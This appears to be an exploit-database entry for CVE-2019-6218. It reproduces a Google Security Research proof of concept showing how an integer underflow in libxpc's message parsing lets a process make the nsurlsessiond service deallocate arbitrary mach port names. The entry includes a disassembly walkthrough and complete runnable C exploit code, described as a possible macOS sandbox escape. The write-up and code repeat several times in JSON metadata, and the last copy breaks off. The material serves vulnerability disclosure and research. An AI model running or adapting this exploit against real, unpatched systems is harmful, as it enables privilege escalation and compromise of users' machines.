macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to
2019-02-01T00:00:00
ID 1337DAY-ID-32094 Type zdt Reporter Google Security Research Modified 2019-02-01T00:00:00
Description
Exploit for multiple platform in category dos / poc
/*
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F mov rax, rbx
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
__text:0000000000007049 mov ecx, 0FF000000h
__text:000000000000704E and ecx, [rax+24h]
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
__text:0000000000007057 jnz short loc_7089
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
__text:0000000000007062 mov r9, [rbx] ; save the address field
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
__text:0000000000007069 lea rax, __xpc_serializer_munmap
__text:0000000000007070 mov [r12+48h], rax
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
__text:0000000000007082 mov eax, 2Ch ; ','
__text:0000000000007087 jmp short loc_7094
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
Still, it would be a nice sandbox escape on MacOS.
Tested on MacOS 10.14.1 (18B75)
*/
// ianbeer
#if 0
Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F mov rax, rbx
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
__text:0000000000007049 mov ecx, 0FF000000h
__text:000000000000704E and ecx, [rax+24h]
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
__text:0000000000007057 jnz short loc_7089
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
__text:0000000000007062 mov r9, [rbx] ; save the address field
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
__text:0000000000007069 lea rax, __xpc_serializer_munmap
__text:0000000000007070 mov [r12+48h], rax
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
__text:0000000000007082 mov eax, 2Ch ; ','
__text:0000000000007087 jmp short loc_7094
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
Still, it would be a nice sandbox escape on MacOS.
Tested on MacOS 10.14.1 (18B75)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
static int
xpc_checkin(
mach_port_t service_port,
mach_port_t* client_port,
mach_port_t* reply_port)
{
// allocate the client and reply port:
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = *client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = *reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
} else {
printf("sent xpc w00t message\n");
}
return 1;
}
struct xpc_bad_ool {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool0;
mach_msg_port_descriptor_t port1;
mach_msg_ool_descriptor_t ool2;
};
void bad_xpc(mach_port_t p) {
kern_return_t err;
struct xpc_bad_ool msg = {0};
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = p;
msg.hdr.msgh_id = 0x10000000;
msg.body.msgh_descriptor_count = 0;
msg.ool0.address = 0x414141414141;
msg.ool0.size = 0x4000;
msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;
msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target
msg.port1.disposition = 0x11;
msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;
msg.ool2.address = 0x414141414141;
msg.ool2.size = 0x4000;
msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("xpc message send failed: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
} else {
printf("sent xpc message\n");
}
}
// lookup a launchd service:
static mach_port_t
lookup(
char* name)
{
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return MACH_PORT_NULL;
}
return service_port;
}
void
xpc_connect(
char* service_name,
mach_port_t* xpc_client_port,
mach_port_t* xpc_reply_port)
{
mach_port_t service_port = lookup(service_name);
xpc_checkin(service_port, xpc_client_port, xpc_reply_port);
mach_port_destroy(mach_task_self(), service_port);
}
int main() {
mach_port_t service_port = lookup("com.apple.nsurlsessiond");
mach_port_t xpc_client_port = MACH_PORT_NULL;
mach_port_t xpc_reply_port = MACH_PORT_NULL;
xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);
printf("xpc_client_port: %x\n", xpc_client_port);
printf("checked in?\n");
bad_xpc(xpc_client_port);
return 0;
}
# 0day.today [2019-02-25] #
{"id": "1337DAY-ID-32094", "bulletinFamily": "exploit", "title": "macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to ", "description": "Exploit for multiple platform in category dos / poc", "published": "2019-02-01T00:00:00", "modified": "2019-02-01T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://0day.today/exploit/description/32094", "reporter": "Google Security Research", "references": [], "cvelist": ["CVE-2019-6218"], "type": "zdt", "lastseen": "2019-02-25T06:18:18", "history": [], "edition": 1, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "db5c26da52981b358cedaac827b2cc79"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "cdc2aa401057df1e80c0829fd5fd09a7"}, {"key": "href", "hash": "181024d64d74d0d71de2443ca95ea055"}, {"key": "modified", "hash": "7e09bf76ed413432b1aed3dbcc87bf73"}, {"key": "published", "hash": "7e09bf76ed413432b1aed3dbcc87bf73"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "81a8aed471c1b3b06ec573646a85f0f9"}, {"key": "sourceData", "hash": "df346c66302661a1b6c04c2246230baf"}, {"key": "sourceHref", "hash": "a5e61d82faec11f1472afdfb06d605de"}, {"key": "title", "hash": "a5121c8581d7e5ed3fd9984e24653f08"}, {"key": "type", "hash": "0678144464852bba10aa2eddf3783f0a"}], "hash": "50f9ce7e6d1b3397eb21b67c380b9a9bd255deda37c1d141e2c2663956bf7302", "viewCount": 3, "enchantments": {"score": {"value": 5.8, "vector": "NONE", "modified": "2019-02-25T06:18:18"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2019-6218"]}, {"type": "exploitdb", "idList": ["EDB-ID:46297"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814818"]}, {"type": "nessus", "idList": ["MACOS_10_14_3.NASL", "MACOSX_SECUPD2019-001.NASL", "MACOSX_SECUPD_10_13_6_2019-001.NASL"]}], "modified": "2019-02-25T06:18:18"}, "vulnersScore": 5.8}, "objectVersion": "1.3", "sourceHref": "https://0day.today/exploit/32094", "sourceData": "/*\r\n_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.\r\n\r\nThere are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as\r\na MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then\r\nthey're also transfered as MACH_PORT_OOL_PORT descriptors.\r\n\r\nWhilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:\r\nIt's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.\r\n\r\nLooking at ipc_kmsg_copyin_body you can see that this is in fact the case.\r\n\r\nThis is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to\r\nhave assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.\r\n\r\nIt turns out that libxpc does exactly that in _xpc_serializer_unpack:\r\n\r\n__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message\r\n__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set\r\n...\r\n__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67\u2191j\r\n__text:000000000000703F mov rax, rbx\r\n__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0\r\n__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor\r\n__text:0000000000007049 mov ecx, 0FF000000h\r\n__text:000000000000704E and ecx, [rax+24h]\r\n__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?\r\n__text:0000000000007057 jnz short loc_7089\r\n__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit\r\n__text:0000000000007062 mov r9, [rbx] ; save the address field\r\n__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later\r\n__text:0000000000007069 lea rax, __xpc_serializer_munmap\r\n__text:0000000000007070 mov [r12+48h], rax\r\n__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff\r\n__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message\r\n__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc\r\n__text:0000000000007082 mov eax, 2Ch ; ','\r\n__text:0000000000007087 jmp short loc_7094\r\n__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0\r\n__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)\r\n\r\nThe code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.\r\n\r\nBy specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed\r\nwhich will cause names read from our fake descriptors to be passed to mach_port_deallocate().\r\n\r\nYou can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting\r\nfor the port name 0x414141 to be passed in rsi.\r\n\r\nThere is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations\r\nso you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.\r\n\r\nStill, it would be a nice sandbox escape on MacOS.\r\n\r\nTested on MacOS 10.14.1 (18B75)\r\n*/\r\n\r\n// ianbeer\r\n#if 0\r\nArbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack\r\n\r\n_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.\r\n\r\nThere are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as\r\na MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then\r\nthey're also transfered as MACH_PORT_OOL_PORT descriptors.\r\n\r\nWhilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:\r\nIt's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.\r\n\r\nLooking at ipc_kmsg_copyin_body you can see that this is in fact the case.\r\n\r\nThis is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to\r\nhave assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.\r\n\r\nIt turns out that libxpc does exactly that in _xpc_serializer_unpack:\r\n\r\n__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message\r\n__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set\r\n...\r\n__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67\u2191j\r\n__text:000000000000703F mov rax, rbx\r\n__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0\r\n__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor\r\n__text:0000000000007049 mov ecx, 0FF000000h\r\n__text:000000000000704E and ecx, [rax+24h]\r\n__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?\r\n__text:0000000000007057 jnz short loc_7089\r\n__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit\r\n__text:0000000000007062 mov r9, [rbx] ; save the address field\r\n__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later\r\n__text:0000000000007069 lea rax, __xpc_serializer_munmap\r\n__text:0000000000007070 mov [r12+48h], rax\r\n__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff\r\n__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message\r\n__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc\r\n__text:0000000000007082 mov eax, 2Ch ; ','\r\n__text:0000000000007087 jmp short loc_7094\r\n__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0\r\n__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)\r\n\r\nThe code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.\r\n\r\nBy specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed\r\nwhich will cause names read from our fake descriptors to be passed to mach_port_deallocate().\r\n\r\nYou can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting\r\nfor the port name 0x414141 to be passed in rsi.\r\n\r\nThere is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations\r\nso you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.\r\n\r\nStill, it would be a nice sandbox escape on MacOS.\r\n\r\nTested on MacOS 10.14.1 (18B75)\r\n\r\n#endif\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n#include <mach/mach.h>\r\n\r\nkern_return_t\r\nbootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);\r\n\r\nstruct xpc_w00t {\r\n mach_msg_header_t hdr;\r\n mach_msg_body_t body;\r\n mach_msg_port_descriptor_t client_port;\r\n mach_msg_port_descriptor_t reply_port;\r\n};\r\n\r\nstatic int\r\nxpc_checkin(\r\n mach_port_t service_port,\r\n mach_port_t* client_port,\r\n mach_port_t* reply_port)\r\n{\r\n // allocate the client and reply port:\r\n kern_return_t err;\r\n err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"port allocation failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n }\r\n\r\n // insert a send so we maintain the ability to send to this port\r\n err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"port right insertion failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n }\r\n\r\n err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"port allocation failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n }\r\n\r\n struct xpc_w00t msg;\r\n memset(&msg.hdr, 0, sizeof(msg));\r\n msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);\r\n msg.hdr.msgh_size = sizeof(msg);\r\n msg.hdr.msgh_remote_port = service_port;\r\n msg.hdr.msgh_id = 'w00t';\r\n \r\n msg.body.msgh_descriptor_count = 2;\r\n\r\n msg.client_port.name = *client_port;\r\n msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send\r\n msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;\r\n\r\n msg.reply_port.name = *reply_port;\r\n msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;\r\n msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;\r\n \r\n err = mach_msg(&msg.hdr,\r\n MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\r\n msg.hdr.msgh_size,\r\n 0,\r\n MACH_PORT_NULL,\r\n MACH_MSG_TIMEOUT_NONE,\r\n MACH_PORT_NULL);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"w00t message send failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n } else {\r\n printf(\"sent xpc w00t message\\n\");\r\n }\r\n\r\n return 1;\r\n}\r\n\r\nstruct xpc_bad_ool {\r\n mach_msg_header_t hdr;\r\n mach_msg_body_t body;\r\n mach_msg_ool_descriptor_t ool0;\r\n mach_msg_port_descriptor_t port1;\r\n mach_msg_ool_descriptor_t ool2;\r\n};\r\n\r\n\r\nvoid bad_xpc(mach_port_t p) {\r\n kern_return_t err;\r\n struct xpc_bad_ool msg = {0};\r\n\r\n msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);\r\n msg.hdr.msgh_size = sizeof(msg);\r\n msg.hdr.msgh_remote_port = p;\r\n msg.hdr.msgh_id = 0x10000000;\r\n \r\n msg.body.msgh_descriptor_count = 0;\r\n\r\n msg.ool0.address = 0x414141414141;\r\n msg.ool0.size = 0x4000;\r\n msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;\r\n \r\n msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target\r\n msg.port1.disposition = 0x11;\r\n msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;\r\n \r\n msg.ool2.address = 0x414141414141;\r\n msg.ool2.size = 0x4000;\r\n msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;\r\n \r\n\r\n err = mach_msg(&msg.hdr,\r\n MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\r\n msg.hdr.msgh_size,\r\n 0,\r\n MACH_PORT_NULL,\r\n MACH_MSG_TIMEOUT_NONE,\r\n MACH_PORT_NULL);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"xpc message send failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n } else {\r\n printf(\"sent xpc message\\n\");\r\n }\r\n\r\n}\r\n\r\n// lookup a launchd service:\r\nstatic mach_port_t\r\nlookup(\r\n char* name)\r\n{\r\n mach_port_t service_port = MACH_PORT_NULL;\r\n kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);\r\n if(err != KERN_SUCCESS){\r\n printf(\"unable to look up %s\\n\", name);\r\n return MACH_PORT_NULL;\r\n }\r\n \r\n if (service_port == MACH_PORT_NULL) {\r\n printf(\"bad service port\\n\");\r\n return MACH_PORT_NULL;\r\n }\r\n return service_port;\r\n}\r\n\r\nvoid\r\nxpc_connect(\r\n char* service_name,\r\n mach_port_t* xpc_client_port,\r\n mach_port_t* xpc_reply_port)\r\n{\r\n mach_port_t service_port = lookup(service_name);\r\n xpc_checkin(service_port, xpc_client_port, xpc_reply_port);\r\n mach_port_destroy(mach_task_self(), service_port);\r\n}\r\n\r\nint main() {\r\n mach_port_t service_port = lookup(\"com.apple.nsurlsessiond\");\r\n\r\n mach_port_t xpc_client_port = MACH_PORT_NULL;\r\n mach_port_t xpc_reply_port = MACH_PORT_NULL;\r\n\r\n xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);\r\n printf(\"xpc_client_port: %x\\n\", xpc_client_port);\r\n printf(\"checked in?\\n\");\r\n\r\n bad_xpc(xpc_client_port);\r\n\r\n return 0;\r\n}\n\n# 0day.today [2019-02-25] #"}
{"cve": [{"lastseen": "2019-09-26T11:49:41", "bulletinFamily": "NVD", "description": "A memory corruption issue was addressed with improved input validation. This issue is fixed in iOS 12.1.3, macOS Mojave 10.14.3, tvOS 12.1.2. A malicious application may be able to execute arbitrary code with kernel privileges.", "modified": "2019-03-07T19:50:00", "id": "CVE-2019-6218", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-6218", "published": "2019-03-05T16:29:00", "title": "CVE-2019-6218", "type": "cve", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2019-01-31T17:01:08", "bulletinFamily": "exploit", "description": "", "modified": "2019-01-31T00:00:00", "published": "2019-01-31T00:00:00", "id": "EDB-ID:46297", "href": "https://www.exploit-db.com/exploits/46297", "type": "exploitdb", "title": "macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack", "sourceData": "/*\r\n_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.\r\n\r\nThere are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as\r\na MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then\r\nthey're also transfered as MACH_PORT_OOL_PORT descriptors.\r\n\r\nWhilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:\r\nIt's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.\r\n\r\nLooking at ipc_kmsg_copyin_body you can see that this is in fact the case.\r\n\r\nThis is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to\r\nhave assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.\r\n\r\nIt turns out that libxpc does exactly that in _xpc_serializer_unpack:\r\n\r\n__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message\r\n__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set\r\n...\r\n__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67\u2191j\r\n__text:000000000000703F mov rax, rbx\r\n__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0\r\n__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor\r\n__text:0000000000007049 mov ecx, 0FF000000h\r\n__text:000000000000704E and ecx, [rax+24h]\r\n__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?\r\n__text:0000000000007057 jnz short loc_7089\r\n__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit\r\n__text:0000000000007062 mov r9, [rbx] ; save the address field\r\n__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later\r\n__text:0000000000007069 lea rax, __xpc_serializer_munmap\r\n__text:0000000000007070 mov [r12+48h], rax\r\n__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff\r\n__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message\r\n__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc\r\n__text:0000000000007082 mov eax, 2Ch ; ','\r\n__text:0000000000007087 jmp short loc_7094\r\n__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0\r\n__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)\r\n\r\nThe code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.\r\n\r\nBy specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed\r\nwhich will cause names read from our fake descriptors to be passed to mach_port_deallocate().\r\n\r\nYou can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting\r\nfor the port name 0x414141 to be passed in rsi.\r\n\r\nThere is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations\r\nso you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.\r\n\r\nStill, it would be a nice sandbox escape on MacOS.\r\n\r\nTested on MacOS 10.14.1 (18B75)\r\n*/\r\n\r\n// ianbeer\r\n#if 0\r\nArbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack\r\n\r\n_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.\r\n\r\nThere are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as\r\na MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then\r\nthey're also transfered as MACH_PORT_OOL_PORT descriptors.\r\n\r\nWhilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:\r\nIt's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.\r\n\r\nLooking at ipc_kmsg_copyin_body you can see that this is in fact the case.\r\n\r\nThis is a kinda surprising fact, and I think there are likely to be multiple places where developers are going 